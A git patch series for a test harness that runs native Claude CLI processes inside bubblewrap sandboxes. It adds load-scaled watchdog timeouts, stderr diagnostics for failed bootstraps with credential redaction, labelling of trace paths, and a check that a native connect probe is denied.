nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; import { expect, test } from "bun:test"; import { resolve } from "node:path"; @@ -7,7 +8,7 @@ function probe(fixture: string, mode?: string): Record { const child = Bun.spawnSync(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--tmpfs", "/opt", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, "--preload", resolve(root, "scripts/test-network-child-preload.ts"), resolve(import.meta.dir, "fixtures", fixture), ...(mode ? [mode] : []), ...policy.args], - { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: 25000 }); + { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: watchdogMs(25000) }); expect(child.exitCode, child.stderr.toString()).toBe(0); return JSON.parse(child.stdout.toString().trim().split("\n").at(-1)!); } diff --git a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts index d222f2ff5b..7fe26250dc 100644 --- a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines.ts"; import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Production ordinary spawn/state/native composition; fixture storage is not Btrfs qualification. */ import { expect, test } from "bun:test"; @@ -19,7 +20,7 @@ test.each(["strict", "governed"] as const)("ordinary %s spawn preserves native h const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, profile, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 25_000, + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(25_000), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); diff --git a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts index 5a5ad088f5..e1e27e7987 100644 --- a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines.ts"; import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; import { SDK_RELAY_PROFILE_TIMEOUT_MS, SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./fixtures/sdk-host-relay-limits.js"; /** Full SDK construction, native startup and prepared ordinary transport; fixture storage is not Btrfs qualification. */ @@ -20,7 +21,7 @@ test.each(["strict", "governed"] as const)("prepared %s SDK turn preserves nativ const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, profile, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_PROFILE_TIMEOUT_MS, + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_PROFILE_TIMEOUT_MS), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); @@ -80,7 +81,7 @@ test("prepared SDK native auto-allowed Bash still honors the existing per-use re const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", "permission", ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_SINGLE_TURN_TIMEOUT_MS), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); @@ -100,7 +101,7 @@ test.each(["managed", "project"] as const)("prepared SDK %s credential or transp const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", source, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_SINGLE_TURN_TIMEOUT_MS), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); @@ -118,7 +119,7 @@ test("prepared SDK initializes with no projected host credential store before an const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", "inspect", ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_SINGLE_TURN_TIMEOUT_MS), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); diff --git a/packages/ui-backend-claude/tests/shell-startup.test.ts b/packages/ui-backend-claude/tests/shell-startup.test.ts index eaf2ddf887..bba07bb5ea 100644 --- a/packages/ui-backend-claude/tests/shell-startup.test.ts +++ b/packages/ui-backend-claude/tests/shell-startup.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines.ts"; import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Native commands need OS isolation: the entire fixture has only loopback networking. */ import { expect, test } from "bun:test"; @@ -41,7 +42,7 @@ for (const shell of ["bash", "zsh"] as const) for (const [profile, startupEnv] o "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/opt", "--bind", scratch, "/opt/odysseus-shell-fixture", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "/opt/odysseus-shell-fixture", branch, profile, startupEnv ? "startup-env" : "clean-env", shell, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 30_000, + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(30_000), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr || stdout).toBe(0); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts index edb2cd0a8e..6b719b81a8 100644 --- a/tests/native-worker-fixture-inventory.test.ts +++ b/tests/native-worker-fixture-inventory.test.ts @@ -121,3 +121,18 @@ test("hosted file-tool startup watchdog scales with repetition load",()=>{ expect(source).toContain("setTimeout(() => controller.abort(), watchdogMs(20_000))"); expect(source).toContain("workerStarted:");expect(source).toContain("observeNativeWorkerStartup"); }); + +test("native namespace subprocess watchdogs scale with CPU-load repetition",()=>{ + let count=0; + for(const [file,source] of fixtureSources(root))for(const argv of namespaceLaunches(source)){ + const call=argv.parent; + if(!ts.isCallExpression(call))continue; + const options=call.arguments[1]; + expect(options&&ts.isObjectLiteralExpression(options),`NAMESPACE_SPAWN_OPTIONS ${file}`).toBe(true); + if(!options||!ts.isObjectLiteralExpression(options))continue; + const timeout=options.properties.find(prop=>ts.isPropertyAssignment(prop)&&prop.name.getText(source)==="timeout"); + expect(timeout&&ts.isPropertyAssignment(timeout)&&ts.isCallExpression(timeout.initializer)&&timeout.initializer.expression.getText(source)==="watchdogMs",`NAMESPACE_SUBPROCESS_WATCHDOG ${file}`).toBe(true); + count++; + } + expect(count).toBeGreaterThanOrEqual(8); +}); From 044b201d6e0d33b4312ec5651d135ac5c52cb039 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 12:04:09 +0000 Subject: [PATCH 066/187] test: diagnose failed native bootstraps and keep fixture effects on the pinned relay --- .../tests/fixtures/host-relay-probe.ts | 6 +- .../helpers/native-process-observation.ts | 12 ++++ .../fixtures/native-sdk-stderr-capture.ts | 4 +- scripts/measure-claude-delegation.ts | 1 + scripts/measure-claude-enforcement.ts | 2 +- scripts/measure-claude-runtime.ts | 8 ++- scripts/native-proof/native-connect.c | 4 +- scripts/test-native-guard.ts | 68 ++++++++++++++++--- scripts/test-network-guard.ts | 9 ++- scripts/worker-effect-witness.ts | 30 ++++---- tests/native-bootstrap-diagnostics.test.ts | 51 ++++++++++++++ tests/native-process-observation.test.ts | 20 ++++++ tests/native-sdk-stderr-capture.test.ts | 19 ++++++ tests/native-startup-audit.test.ts | 11 +++ tests/worker-effect-witness.test.ts | 26 +++++++ 15 files changed, 238 insertions(+), 33 deletions(-) create mode 100644 packages/ui-backend-claude/tests/helpers/native-process-observation.ts create mode 100644 tests/native-bootstrap-diagnostics.test.ts create mode 100644 tests/native-process-observation.test.ts create mode 100644 tests/worker-effect-witness.test.ts diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index dd3a9552e3..fabd86065d 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -1,3 +1,4 @@ +import { selectedNativePid } from "../helpers/native-process-observation"; import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; @@ -131,8 +132,9 @@ try { try { accounts.push((await runtime.initializationResult()).account); if (!nativeChild?.pid) throw new Error("The native CLI did not start."); - nativeBinaryMatches &&= readlinkSync(`/proc/${nativeChild.pid}/exe`) === expectedExecutable; - nativeEnvironments.push(readFileSync(`/proc/${nativeChild.pid}/environ`, "utf8")); + const pid = selectedNativePid(nativeChild.pid, expectedExecutable); + nativeBinaryMatches &&= readlinkSync(`/proc/${pid}/exe`) === expectedExecutable; + nativeEnvironments.push(readFileSync(`/proc/${pid}/environ`, "utf8")); release(); if (turn === 3) { await bounded(refreshEntered); diff --git a/packages/ui-backend-claude/tests/helpers/native-process-observation.ts b/packages/ui-backend-claude/tests/helpers/native-process-observation.ts new file mode 100644 index 0000000000..9181e057f7 --- /dev/null +++ b/packages/ui-backend-claude/tests/helpers/native-process-observation.ts @@ -0,0 +1,12 @@ +/** Observe the selected payload below an isolation/tracing wrapper, never its launcher PID. */ +import { readFileSync, readlinkSync } from "node:fs"; +export function selectedNativePid(root: number, expectedExecutable: string): number { + const pending = [root], seen = new Set(); + for (let count = 0; pending.length && count < 100; count++) { + const pid = pending.shift()!; + if (seen.has(pid)) continue; seen.add(pid); + try { if (readlinkSync(`/proc/${pid}/exe`) === expectedExecutable) return pid; } catch { /* Exited wrappers cannot qualify. */ } + try { pending.push(...readFileSync(`/proc/${pid}/task/${pid}/children`, "utf8").trim().split(/\s+/).filter(Boolean).map(Number)); } catch { /* Exited processes have no observable children. */ } + } + throw new Error("The guarded process tree did not contain the selected native executable."); +} diff --git a/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts b/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts index 025334a6a3..07dc9a7213 100644 --- a/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts +++ b/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts @@ -1,6 +1,6 @@ /** Fixture-only SDK stderr evidence, including failures before workerStarted. */ import { nativeReceipt } from "../../../../scripts/native-test-receipts"; -import { nativeTestHead } from "../../../../scripts/test-native-guard"; +import { nativeTestHead, redactNativeDiagnosticAssignments } from "../../../../scripts/test-native-guard"; import { createRedactor } from "../../../compute-boat/src/redact"; import { redactCredentials } from "../../../ui-server/src/activity/runtime-status"; import { redactProviderMessage } from "../../../ui-react/src/lib/turn-failure"; @@ -10,7 +10,7 @@ export function captureNativeSdkStderr(secrets: readonly string[]) { const redactor = createRedactor(undefined); for (const secret of secrets) redactor.add(secret); let first = Buffer.alloc(0), tail = Buffer.alloc(0), observedBytes = 0, flushed = false; - const scrub = (value: string) => redactProviderMessage(redactCredentials(redactor.text(value.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim, "[redacted startup metadata]\n")))) + const scrub = (value: string) => redactProviderMessage(redactCredentials(redactNativeDiagnosticAssignments(redactor.text(value.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim, "[redacted startup metadata]\n"))))) .replace(/https?:\/\/[^\s"'<>]+/gi, "[redacted URL]") .replace(/(?:~\/|\/)[^\s"'<>),;]*/g, "[redacted path]"); return { diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index 1a703c4074..85255188fb 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -38,6 +38,7 @@ for (const allowChild of [false, true]) { const approvals: unknown[] = []; let mainSent = false, childSent = false, version: string | undefined, terminal: string | undefined, isError: boolean | undefined; const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { + if(new URL(req.url).pathname===witness.path)return witness.fetch(req); if (new URL(req.url).pathname !== "/v1/messages") return Response.json({}); const body = await req.json() as { diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index c30c882898..e2e80d5b63 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -62,7 +62,7 @@ try { Object.assign(process.env, { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: scenario === "rtk-rewrite" ? "/usr/local/bin:/usr/bin:/bin" : `${bin}:/usr/bin:/bin` }); resetRtkProbe(); - const log = model.plan({ name: "Bash", input: { command } }); + const log = model.plan({ name: "Bash", input: { command } }, witness); const hookCalls: Array<{ index: string; input: unknown; output: HookJSONOutput }> = []; const callbackCalls: Array<{ input: unknown; output: unknown }> = []; const requests: PermissionRequest[] = []; diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index c19d8c2069..a10464aa9c 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -1,3 +1,4 @@ +import type { createWorkerEffectWitness } from "./worker-effect-witness"; import "./measurement-entry-preload.ts"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // Re-measures the Claude Code runtime behaviours the permission design rests @@ -144,10 +145,11 @@ export function resultText(content: unknown): string { /** A loopback Messages API that plays one planned tool call per turn. */ export function scriptedModel(): { url: string; - plan(call: PlannedCall | null): ModelLog; + plan(call: PlannedCall | null, witness?: ReturnType): ModelLog; stop(): void; } { let call: PlannedCall | null = null; + let effects: ReturnType | undefined; let log: ModelLog = freshLog(); function freshLog(): ModelLog { return { mainRequests: 0, callSent: false, auth: [], offered: [], deferred: [] }; @@ -157,6 +159,7 @@ export function scriptedModel(): { port: 0, async fetch(req) { const path = new URL(req.url).pathname; + if (effects && path === effects.path) return effects.fetch(req); if (path !== "/v1/messages") return Response.json({}); log.auth.push({ xApiKey: req.headers.get("x-api-key"), @@ -180,7 +183,8 @@ export function scriptedModel(): { nativeScriptedService(server.url.origin); return { url: `http://127.0.0.1:${server.port}`, - plan(next) { + plan(next, witness) { + effects = witness; call = next; log = freshLog(); return log; diff --git a/scripts/native-proof/native-connect.c b/scripts/native-proof/native-connect.c index 020121d1e2..2583f12eb9 100644 --- a/scripts/native-proof/native-connect.c +++ b/scripts/native-proof/native-connect.c @@ -7,6 +7,7 @@ #include #include #include +#include #include #include #include @@ -172,7 +173,8 @@ static int run(int pinned,const char *allowed,char **command,int probe,const cha if(fd<0 || connect(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(122); close(fd); fd=socket(AF_INET,SOCK_STREAM,0); - if(fd<0 || connect(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(123); + struct sockaddr_in tcp={.sin_family=AF_INET,.sin_port=htons(9),.sin_addr={.s_addr=htonl(INADDR_LOOPBACK)}}; + if(fd<0 || connect(fd,(struct sockaddr *)&tcp,sizeof(tcp))!=-1 || errno!=EPERM) _exit(123); close(fd); fd=socket(AF_UNIX,SOCK_DGRAM,0); if(fd<0 || bind(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(124); diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 8a530a3807..9b049553e3 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,6 +1,8 @@ import { nativeReceipt } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { Readable } from "node:stream"; +import { pipeline } from "node:stream/promises"; import { AsyncLocalStorage } from "node:async_hooks"; import { createHash } from "node:crypto"; import { createRequire } from "node:module"; @@ -353,19 +355,35 @@ function auditAcl(operation: "set" | "check", uid: number, directory: string, lo } /** Fixture-only tail: no syscall buffers, exec arguments or environment survive. */ -export function scrubNativeStartupTrace(trace: string): string { +export function scrubNativeStartupTrace(trace: string, fixtureRoots: readonly string[] = []): string { try { const {createRedactor,redactCredentials,redactProviderMessage}=diagnosticRedactors(); let tail = trace.slice(-65536); if (trace.length > tail.length) tail = tail.includes("\n") ? tail.slice(tail.indexOf("\n") + 1) : ""; - tail = tail.split("\n").map(line => line.replace(/\bexecve(?:at)?\(.*$/, "execve([arguments omitted])")).join("\n"); + const labels=new Map(); + tail = tail.split("\n").map(line => { + line=line.replace(/\bexecve(?:at)?\(.*$/, "execve([arguments omitted])"); + if(!/^\s*(?:[0-9]+\s+)?open(?:at2?|)?\(/.test(line)||!/= -1 [A-Z]+\b/.test(line))return line; + return line.replace(/"(?:\\.|[^"\\])*"/,quoted=>{ + let path:string;try{path=JSON.parse(quoted);}catch{return '"other-absolute"';} + const root=fixtureRoots.find(root=>path.startsWith("/")&&within(resolve(root),resolve(path))); + let label=root?`fixture-${fixtureRoots.indexOf(root)}:${resolve(path).slice(resolve(root).length).replace(/^\//,"")||"."}`: + !path.startsWith("/")?"relative":within("/proc",path)?"proc":within("/sys",path)?"sys":within("/dev",path)?"dev":within("/etc",path)?"etc": + [ROOT,...SYSTEM].some(root=>within(root,path))?"runtime-root":["/home","/root",process.env.HOME].some(root=>root&&root!=="/"&&within(root,path))?"home-outside-fixture":"other-absolute"; + label=label.replace(/[\u0000-\u001f\u007f]/g,"?"); + const key=`NATIVEOPENLABEL${labels.size}END`;labels.set(key,label);return JSON.stringify(key); + }); + }).join("\n"); const redactor = createRedactor(undefined); for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); - return redactProviderMessage(redactCredentials(redactor.text(tail))).slice(-65536); + let safe=redactProviderMessage(redactCredentials(redactor.text(tail))); + for(const [key,label] of labels)safe=safe.replaceAll(key,label); + return safe.slice(-65536); } catch { return "[diagnostic redaction unavailable]"; } } export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void, workerUid?: number) { + const diagnosticFixtureRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; const diagnosticRoot = workerUid === undefined ? undefined : process.argv.find(value => value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); if (diagnosticRoot) { const info = lstatSync(diagnosticRoot); @@ -401,7 +419,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } if (diagnosticRoot) { try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), - JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace) }), { flag: "wx", mode: 0o600 }); } + JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots) }), { flag: "wx", mode: 0o600 }); } catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } } // Wider diagnostics may contain syscall-looking filenames; only actual @@ -786,12 +804,46 @@ const bootstrapDiagnostics=new Map(); function processStart(pid: number): string { return readFileSync(`/proc/${pid}/stat`, "utf8").replace(/^.*\) /s, "").split(" ")[19]!; } -/** Called only by the installed test spawn interceptor, never by product code. */ -export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null },bootstrap=false): void { +/** Keep short named credentials out of test-only diagnostic records. */ +export function redactNativeDiagnosticAssignments(text:string):string { + return text.replace(/["']?([A-Za-z_$][\w$.-]*)["']?\s*[:=]\s*("(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|[^\s,;}\]]+)/g, + (entry,name:string)=>/(?:key|token|secret|password|auth)[\w$.-]*$/i.test(name)?"[redacted credential]":entry); +} +interface BootstrapEvidence { snapshot():string; drained:Promise } +/** Tee only the trusted bootstrap's FIFO, preserving its bytes for the launcher. */ +export function prepareNativeBootstrapDiagnostics(options:Record):{options:Record;attach(child:{stderr:ReadableStream}):BootstrapEvidence;dispose():void}|undefined { + const destination=options.stdio?.[2]??options.stderr; + if(typeof destination!=="number")return; + let fd:number|undefined; + try{fd=openSync(`/proc/self/fd/${destination}`,constants.O_WRONLY);}catch{return;} + let pipes:ReturnType; + let fifoStream:typeof import("../packages/ui-sdk/src/server/worker-pipes").fifoStream; + try{const helper=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-pipes.ts") as typeof import("../packages/ui-sdk/src/server/worker-pipes");pipes=helper.createWorkerPipes();fifoStream=helper.fifoStream;} + catch{closeSync(fd);return;} + const changed=options.stdio?{...options,stdio:options.stdio.map((value:unknown,index:number)=>index===2?pipes.child[2]:value)}:{...options,stderr:pipes.child[2]}; + return {options:changed,dispose(){pipes.cleanup();if(fd!==undefined){closeSync(fd);fd=undefined;}},attach(_child){ + let first=Buffer.alloc(0),tail=Buffer.alloc(0),observed=0; + pipes.closeChild();const ends=pipes.take();closeSync(ends.stdin);closeSync(ends.stdout); + const source=Readable.fromWeb(fifoStream(ends.stderr) as any),sink=createWriteStream("",{fd:fd!,autoClose:true});fd=undefined; + source.on("data",(chunk:Buffer)=>{observed+=chunk.length;const keep=Math.min(chunk.length,4096-first.length);if(keep>0)first=Buffer.concat([first,chunk.subarray(0,keep)]);tail=Buffer.concat([tail,chunk.subarray(-4096)]).subarray(-4096);}); + const drained=pipeline(source,sink).then(()=>{},()=>{}); + return {drained,snapshot(){let prefix=first.toString("utf8"),suffix=tail.toString("utf8");if(observed>first.length)prefix=prefix.slice(0,Math.max(0,prefix.lastIndexOf("\n")));if(observed>tail.length)suffix=suffix.slice(suffix.indexOf("\n")<0?suffix.length:suffix.indexOf("\n")+1);return observed<=first.length?prefix:prefix+"\n"+suffix;}}; + }}; +} +export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null },bootstrap=false,evidence?:BootstrapEvidence): void { if(bootstrap){ bootstrapDiagnostics.set(child.pid,{get exitCode(){return child.exitCode??null;},get signalCode(){return child.signalCode??null;}}); if(bootstrapDiagnostics.size>256)bootstrapDiagnostics.delete(bootstrapDiagnostics.keys().next().value!); - void child.exited.then(code=>nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}),()=>nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:null,signal:child.signalCode??null})); + const report=async(code:number|null)=>{ + nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}); + if(code===0&&!child.signalCode)return; + if(evidence){let timer:ReturnType|undefined;await Promise.race([evidence.drained,new Promise(resolve=>{timer=setTimeout(resolve,2000);timer.unref();})]);clearTimeout(timer);} + const text=evidence?.snapshot()??""; + const safe=compilerDiagnostic(redactNativeDiagnosticAssignments(text.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n"))); + nativeReceipt({kind:"native-offline-bootstrap-failure",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, + reason:safe||"worker bootstrap exited nonzero; stderr reason unavailable"}); + }; + void child.exited.then(report,()=>report(null)); } let start: string; try { start = processStart(child.pid); } catch { return; } guardedChildren.set(child.pid, start); diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 2a2af294b1..6dbbef14e6 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,6 +1,6 @@ import { inheritNativeReceipts, withoutNativeReceipts, nativeReceipt, flushNativeReceipts } from "./native-test-receipts.ts"; /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { recordNativeGuardChild, isGuardedNativePlan, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; +import { prepareNativeBootstrapDiagnostics, recordNativeGuardChild, isGuardedNativePlan, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { Server as HttpServer } from "node:http"; import { isIP, Socket } from "node:net"; @@ -190,15 +190,18 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const channel=inheritNativeReceipts(inherited,actual,defaultStderr);inherited=channel.options; args[0]=Array.isArray(first)?channel.argv:{...args[0] as object,cmd:channel.argv}; }else inherited=withoutNativeReceipts(inherited); + const bootstrap = key === "spawn" && pipeOnly && Boolean(options.env?.BRAIN_WORKER_LAUNCH); + const bootstrapDiagnostics = bootstrap ? prepareNativeBootstrapDiagnostics(inherited) : undefined; + if (bootstrapDiagnostics) inherited=bootstrapDiagnostics.options as typeof inherited; if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; try { boundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); - if (key === "spawn") { recordNativeGuardChild(result,pipeOnly&&Boolean(options.env?.BRAIN_WORKER_LAUNCH)); void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose();flushNativeReceipts(); }); } + if (key === "spawn") { recordNativeGuardChild(result,bootstrap,bootstrapDiagnostics?.attach(result)); void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose();flushNativeReceipts(); }); } else {workerBoundary?.dispose();flushNativeReceipts();} return result; - } catch (error) { boundary?.dispose(); workerBoundary?.dispose(); throw error; } + } catch (error) { bootstrapDiagnostics?.dispose(); boundary?.dispose(); workerBoundary?.dispose(); throw error; } }) as typeof Bun.spawn & typeof Bun.spawnSync; } diff --git 